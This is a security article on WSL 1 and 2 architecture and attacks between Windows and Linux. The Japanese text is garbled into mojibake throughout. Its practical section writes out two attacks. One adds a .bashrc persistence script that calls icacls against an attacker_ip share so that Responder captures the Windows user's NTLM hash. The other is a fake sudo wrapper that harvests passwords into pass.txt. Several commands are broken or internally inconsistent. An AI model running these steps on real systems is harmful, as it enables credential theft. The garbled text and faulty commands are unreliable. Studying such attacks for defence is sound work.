2016幎ããã€ã¯ããœããã¯æ°ãããã¯ãããžãŒWSLïŒW indows S ubsystem for LinuxïŒã¯ãé·æçã«ã¯ãéåžžã®OSãŠãŒã¶ãŒãšäžçŽOSãŠãŒã¶ãŒã®äž¡æ¹ïŒWindowsãšLinuxïŒã®éã§äººæ°ãæ±ããŠæŠã£ã以åã¯å解ã§ããªãã£ã競åä»ç€Ÿãå£çµãããããšãå¯èœã«ããŸããããã®ãã¯ãããžãŒã«ãããããšãã°ãã«ãããŒãã䜿çšããŠLinuxãèµ·åããªããŠããWindowsç°å¢ã§LinuxOSããŒã«ã䜿çšã§ããããã«ãªããŸããã Habrã«ã¯ãWSLã䜿çšããå©ç¹ã説æããå€æ°ã®èšäºããããŸãããã ããæ®å¿µãªãããèšäºãäœæãããæç¹ã§ã¯ããã®ãªãœãŒã¹ã§ãã®ãããªãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã®å ±çã«é¢ããã»ãã¥ãªãã£èª¿æ»ã¯èŠã€ãããŸããã§ããããã®æçš¿ã¯ãããä¿®æ£ããããšããŸãããã®èšäºã§ã¯ãWSL 1ããã³2ã¢ãŒããã¯ãã£ã®æ©èœã«ã€ããŠèª¬æãããããã®ãã¯ãããžã䜿çšããã·ã¹ãã ãžã®æ»æã®ããã€ãã®äŸãåæããŸããèšäºã¯2ã€ã®éšåã«åãããŠããŸãã1ã€ç®ã¯ãLinuxããã³Windowsæ»æã®åºæ¬çãªçè«çæ¹æ³ãæäŸããŸãã 2çªç®ã®èšäºã«ã¯ããã¹ãç°å¢ã®ã»ããã¢ãããšæ»æã®åçãå«ãŸããŸãã
WSL 1ïŒã¢ãŒããã¯ãã£æ©èœ
WSLã»ãã¥ãªãã£ã®åé¡ã«æãæ£ç¢ºã«æ²¡é ããã«ã¯ããµãã·ã¹ãã ã®å®è£ ã«é¢é£ããäž»ãªãã¥ã¢ã³ã¹ã決å®ããå¿ èŠããããŸããWSLã«ãã£ãŠè§£æ±ºãããäž»ãªãŠãŒã¶ãŒã¿ã¹ã¯ã®1ã€ã¯ãWindowsOSãåãããã¹ãäžã®ã¿ãŒããã«Linuxã·ã¹ãã ãä»ããŠåäœããæ©èœãæäŸããããšã§ãããŸããææ¡ãããäºææ§ã¯éåžžã«ãã€ãã£ãã§ãããããLinuxå®è¡å¯èœãã¡ã€ã«ïŒELFïŒãWindowsã·ã¹ãã ã§çŽæ¥å®è¡ã§ããŸãããããã®ç®æšãéæããããã«ãç¹å®ã®ã·ã¹ãã åŒã³åºãã®ã»ããã䜿çšããŠLinuxã¢ããªã±ãŒã·ã§ã³ãå®è¡ã§ããããã«ããç¹å¥ãªãµãã·ã¹ãã ãWindows 10ã§äœæãããŸããããããã£ãŠãLinuxsyscallã®ã»ãããWindowsã«ãããããè©Šã¿ãè¡ãããŸãããç©ççã«ã¯ãããã¯æ°ãããã©ã€ããŒãšæ°ããããã»ã¹åœ¢åŒãè¿œå ããããšã«ãã£ãŠè¡ãããŸãããèŠèŠçã«ã¯ãã¢ãŒããã¯ãã£ã¯æ¬¡ã®ããã«ãªããŸããã
å®éãLinuxãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ãšã®çžäºäœçšã¯ãããã€ãã®æ žã¢ãžã¥ãŒã«ãšç¹å¥ãªçš®é¡ã®ããã»ã¹ïŒpicoïŒã«ãã£ãŠæ§æãããŠããŸãããäžã®å³ããããã¹ãäžã®Linuxã€ã³ã¹ã¿ã³ã¹ã§å®è¡ãããŠããããã»ã¹ã¯ãã€ãã£ãã§ãããéåžžã®Windowsã¢ããªã±ãŒã·ã§ã³ãšåããªãœãŒã¹ã䜿çšããå¿ èŠãããããšãããããŸããããããããã¯ã©ã®ããã«éæã§ããŸããïŒDrawbridgeãããžã§ã¯ãã¯ãç°ãªãOSã¢ããªã±ãŒã·ã§ã³ãå®è¡ããããã«å¿ èŠãªãã¹ãŠã®ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã³ã³ããŒãã³ãïŒããŒãžã§ã³ã«å¿ããŠïŒãæäŸããWindowsããã»ã¹ã®æŠå¿µãéçºããŸããã
ææ¡ãããæœè±¡åã«ãããå¥ã®OSã®ããã»ã¹ãéå§ãããããšãäºæ³ããããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ïŒç¹ã«WindowsïŒã«çŠç¹ãåœãŠãªãããšãå¯èœã«ãªããäžè¬çãªã¢ãããŒããæäŸãããããšã«æ³šæããŠãã ããããããã£ãŠãpicoããã»ã¹å ã®ä»»æã®ã¢ããªã±ãŒã·ã§ã³ã¯ãWindowsã«ãŒãã«ãèŠãªããŠãå®è¡ã§ããŸãã
- äºææ§ãšã·ã¹ãã ã³ãŒã«å€æã®åé¡ã¯ãå°çšãããã€ããŒã察åŠããå¿ èŠããããŸãã
- ã¢ã¯ã»ã¹å¶åŸ¡ã¯ãã»ãã¥ãªãã£ã¢ãã¿ãŒãä»ããŠè¡ãå¿ èŠããããŸããã¢ãã¿ãŒã¯ã«ãŒãã«å ã«ãããããWindowsã¯ããã®ãããªããã»ã¹ã®ãããã€ããŒãšããŠæ©èœã§ããæ°ãããã©ã€ããŒã®åœ¢ã§ã¢ããã°ã¬ãŒãããå¿ èŠããããŸããããã³ããã»ã¹ã®ãããã¿ã€ãã以äžã«æŠç¥çã«ç€ºããŸãã
Linuxãã¡ã€ã«ã·ã¹ãã ã¯å€§æåãšå°æåãåºå¥ãããã¡ã€ã«åãšãã£ã¬ã¯ããªåã䜿çšãããããWSLãåŠçããããã«2çš®é¡ã®ãã¡ã€ã«ã·ã¹ãã ïŒVolFSãšDriveFSïŒãWindowsã«è¿œå ãããŸãããVolFSã¯Linuxãã¡ã€ã«ã·ã¹ãã ã®å®è£ ã§ããDriveFSã¯Windowsã®ã«ãŒã«ã«åŸã£ãŠæ©èœãããã¡ã€ã«ã·ã¹ãã ã§ãããååã®å€§æåãšå°æåãåºå¥ããæ©èœãéžæã§ããŸãã
WSL 2
WSL 1ã«ã¯ãæ倧ç¯å²ã®ã¿ã¹ã¯ã解決ããããã«äœ¿çšã§ããªããšããããã€ãã®å¶éããããŸãããããšãã°ã32ãããã®Linuxã¢ããªã±ãŒã·ã§ã³ãå®è¡ããæ©èœããªããããã€ã¹ãã©ã€ããŒã䜿çšã§ããŸããã§ããããã®ããã2020幎ã«WSL 2ããªãªãŒã¹ããããµãã·ã¹ãã ã®æ§ç¯æ¹æ³ãå€ãããŸããã WSL 2ã¯ãWSL1ã®ãªãœãŒã¹æ¶è²»ç¹æ§ãæºããæé©åãããä»®æ³ãã·ã³ã§ããããã§ãWindowsãŠãŒã¶ãŒã解決ããåé¡ã«å¿ããŠãå¿ èŠãªããŒãžã§ã³ã®Linuxãµãã·ã¹ãã ãéžæã§ããŸããæœåšçãªè匱æ§ã軜æžããããã«ãWSL2ã¯Windows10ã®Hyper-Vã«åºã¥ããŠå®è£ ãããŸããããã®åœ¢åŒã§ã¯ãWindowsã«ã¯Linuxã«ãŒãã«ãåé¢ããŠå®è¡ããæ©èœããããŸãã WSLã®ããŒãžã§ã³1ãããŒã¿æ©èœãšããŠå°å ¥ãããããšãèŠããŠãã䟡å€ããããŸããããã¯ããã®åéã§ã®Windowsã®éçºã®ãã¯ãã«ã瀺ãã¯ãã ã£ããããHyper-Vãžã®ç§»è¡ã¯é¿ããããŸããã§ãããæçµçãªã¢ãŒããã¯ãã£ã¯æ¬¡ã®ããã«ãªããŸãã
ãã®ããŒãžã§ã³ã§ã¯ãWindowsã«ãŒãã«ãšLinuxã«ãŒãã«ã«ç¬èªã®ãªãœãŒã¹ãããã亀差ç¹ã¯ãã¡ã€ã«ã·ã¹ãã ã«ã®ã¿ååšããŸããããã®äº€å·®ç¹ã¯å®å šã§ã¯ãããŸããããã¡ã€ã«ã·ã¹ãã éã®çžäºäœçšã¯ã9Pãããã³ã«ã§å®è¡ãããã¯ã©ã€ã¢ã³ããµãŒããŒã©ãããŒã«ãã£ãŠå®è¡ãããŸãã
çŸåšãMicrosoftã¯WSL1ãšWSL2ãåãæ¿ããæ©èœãæäŸããŠããŸããã©ã¡ãã®ããŒãžã§ã³ã䜿çšã§ããŸãã
WSLã»ãã¥ãªãã£
çŸæç¹ã§ã¯ãæ£åœãªOSããŒã«ã䜿çšããŠãµãã·ã¹ãã éã®çžäºäœçšãæ»æããããã®ããã€ãã®ã¢ãããŒãã説æããããã€ãã®è«æããããŸãããã®èšäºã®å·çæç¹ã§ã¯ãã¹ã¯ãªããã䜿çšããŠæ»æã®é¢é£æ§ã確èªããŸããæ»æãšã·ããªãªã®äžè¬çãªãªã¹ãïŒ
1ããã¡ã€ã«ã·ã¹ãã ã®å®è£ ïŒã¢ã¯ã»ã¹æš©ãå ±æãã£ã¬ã¯ããªã®ååš/ããŒã¿äº€æã¡ã«ããºã ã
調æ»ã¯ãLinux FS-> Windows FSãWindows FS-> LinuxFSããã®ã¢ã¯ã»ã¹ã«ãŒã«ã®éåãããŒãã«å®æœãããŸããã調æ»ã«ãããã¿ãŒã²ããOSå ã®ç¹å®ã®ãã¡ã€ã«ãå€æŽã§ããããšãå®èšŒãããŠããŸãããã¡ã€ã«ã·ã¹ãã ã®äžéšã眮ãæããè€è£œãäœæããåé€ããè©Šã¿ãè¡ãããŸããã
ã·ããªãªïŒ
- A.Windowsãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ããã®æ»æ-Linuxã®/ etcãã£ã¬ã¯ããªãããã¡ã€ã«ãå€æŽããŸãã
- Linuxãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã®B.æ»æ-ãã£ã¬ã¯ããªå
ã®ãã¡ã€ã«ã®å€æŽïŒ
C:\Windows
ãC:\Program Files
ãC:\Users\<User>
2.ãããã¯ãŒã¯ã¹ã¿ãã¯ã®å®è£ ã
調æ»ã¯ãWindowsäžã®Linuxãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ããã®æ»æã®äŸã§å®æœãããŸããããããã¯ãŒã¯ã¹ã¿ãã¯ã®æ©èœãã€ãŸããããŸããŸãªãªãœãŒã¹ã®èªèšŒã¡ã«ããºã ã䜿çšãããŸããã
ã·ããªãªïŒ
- Windowsã·ã¹ãã ã§ããžãŒãªããŒããžã®ã¢ã¯ã»ã¹ãéã
- é©åãªæš©å©ããªãå Žåã®é枯
- Windowsãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã§elfãã¡ã€ã«ã䜿çšããŠãªããŒã¹ã·ã§ã«ãèµ·åããŸãã
3.WSLãµãã·ã¹ãã ã䜿çšããæªæã®ãããœãããŠã§ã¢ããã»ã¹ã®èµ·åã®é èœã
調æ»ã¯åçŽãªäºå®ã«åºã¥ããŠããŸãããã»ãã¥ãªãã£ãµãã·ã¹ãã ã¯å¥ã®ã³ã¢ã®ã€ãã³ããã€ã³ã¿ãŒã»ããã§ããŸãããããã¯ãWSL 1ã®å Žåã¯ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã®æ£åœãªãããã€ããŒã䜿çšããŠæ©èœããŸããWSL2ã®å Žåãå ã®å¥ã®ã³ã¢ã§çºçããã€ãã³ãã衚瀺ããæ¹æ³ã¯ãããŸããã軜ãä»®æ³ãã·ã³ã
ã·ããªãªïŒ
1ïŒã·ã¹ãã ãžã®ãªã¢ãŒãã¢ã¯ã»ã¹çšã«ã¢ããªã±ãŒã·ã§ã³ãèµ·åãããã°ã«èšé²ãããã€ãã³ãã衚瀺ããŸãã
WSL 1å®éšïŒããã·ã¥ãã£ããïŒWindows OSïŒ
æåŸã«ãå®çšçãªéšåã«å°éããŸããããŸãããã¹ãçšã®ç°å¢ãèšå®ããå¿ èŠããããŸãããã¹ãŠã®å®éšã¯ãWindows 102004ãã€ã³ã¹ããŒã«ãããããŒã¹ã§å®è¡ãããŸããUbuntu18.04ãWSLã®ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã€ã¡ãŒãžãšããŠéžæãããŸãããç»åã¯ã©ã³ãã ã«éžæãããä»ã®ç»åãåãããã«æ©èœããŸããã¹ã¿ã³ããèšå®ããããã®ã³ãã³ãïŒ
ãŸãã
powershell.exe
管çè
ãšããŠå®è¡ããå¿
èŠããããŸãã
WSL 1ã®å Žåã次ã®ã³ãã³ããå®è¡ããå¿ èŠããããŸãã ã¹ã¿ã³ããåèµ·åããåŸãbashã³ãã³ããåŒã³åºãããšãã§ããŸãããã¹ãŠãæ£åžžã«æ©èœããå ŽåãWindowsã³ã³ãœãŒã«ã«æ¬¡ã®ãããªãã®ã衚瀺 ãããŸããæ»æè ã®ãã·ã³ãšããŠKali Linuxãã£ã¹ããªãã¥ãŒã·ã§ã³ã䜿çšããŸãããã¹ãŠã®ãã·ã³ã¯ãåãããŒã«ã«ãããã¯ãŒã¯äžã«ããå¿ èŠããããŸãã
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux # WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing # Linux Microsoft
Ubuntu.appx install âroot #
, , , root. sam.
Restart-Computer #
Windowsãã·ã³ã§WSLã«ç¹æš©ãªãã§ã¢ã¯ã»ã¹ã§ãããšä»®å®ããŸããããLinuxããã³ãã³ããåŒã³åºããŠãLinuxãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ãæ»æããŠã¿ãŸããããæ»æãå®è£ ããããã«ãåçŽãªèªåå®è¡ææ³ã䜿çšããŸããLinuxç°å¢ã§å®è¡ããããã®ã¹ã¯ãªãããè¿œå ããŸãããããè¡ãã«ã¯ããã¡ã€ã«ãå€æŽããå¿ èŠããããŸã
.bashrc
ã
WSLãæèŒãããã·ã³ã§ã次ãå®è¡ããŸãã
1. bash
2. : cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe \» \\\\\\\\attacker_ip\\\\shareName\\\\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exit
Kali Linuxãã·ã³ã§ã次ãå®è¡ããŸãã
1. Responder -I eth0 -rdvw
Windowsãã·ã³ã§ãbashãå®è¡ããŸãã
Kali Linuxãã·ã³ã§ã®çµæãåŸ ã£ãŠã
ãŸãããããã£ãŠãLinuxã·ã¹ãã ã§ã³ãã³ããå®è¡ããããšã«ãããWSLãµãã·ã¹ãã ãä»ããŠWindowsãŠãŒã¶ãŒã®ããã·ã¥ãååŸããŸããã
WSL 1ã®å®éšïŒãŠãŒã¶ãŒãã¹ã¯ãŒãã®ååŸïŒLinux OSïŒ
ãã1ã€å®éšããŠã¿ãŸãããããã®ãã§ãã¯äž
.bashrc
ã«ãLinuxãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã®ãŠãŒã¶ãŒã®ãã¹ã¯ãŒããååŸããããã«ããã¡ã€ã«ã«ããã€ãã®ã³ãã³ããè¿œå ããŸãã
bashãéå§ããŠã次ã®ã³ãã³ããå ¥åããŠã¿ãŸãããã
1. mkdir .hidden
2. echo "export PATH=\$HOME/.hidden/:\$PATH:" >> .bashrc
3. echo "read -sp \"[sudo] password for $USER: \" sudopass" > .hidden/sudo
4. echo "echo \"\"" >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo \"Sorry, try again.\"" >> .mysudo/sudo
7. echo "echo \$sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo \$@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
æ»æãæ£åžžã«å®äºããã«ã¯ããŠãŒã¶ãŒSamãLinuxã¿ãŒããã«ã§sudoãåŒã³åºãå¿ èŠããããŸãããã®åŸãLinux OSãŠãŒã¶ãŒãã¹ã¯ãŒãããã¡ã€ã«ã«å«ãŸããŸã
pass.txt
ã
æ»æã®å®è£ ã¯ãçè«çãªæ å ±ã®ããã«ã®ã¿æ瀺ãããŸããã
èšäºã®æ¬¡ã®ããŒãã§ã¯ã9Pãããã³ã«ã®å®è£ ã«ã€ããŠèª¬æãããã®ãããã³ã«çšã®ã¹ãã£ããŒã®äœæãæ€èšããããã䜿çšããŠæ»æãå®è¡ããŸãã
äžå€æç®äžèŠ§
ç¶ããèªã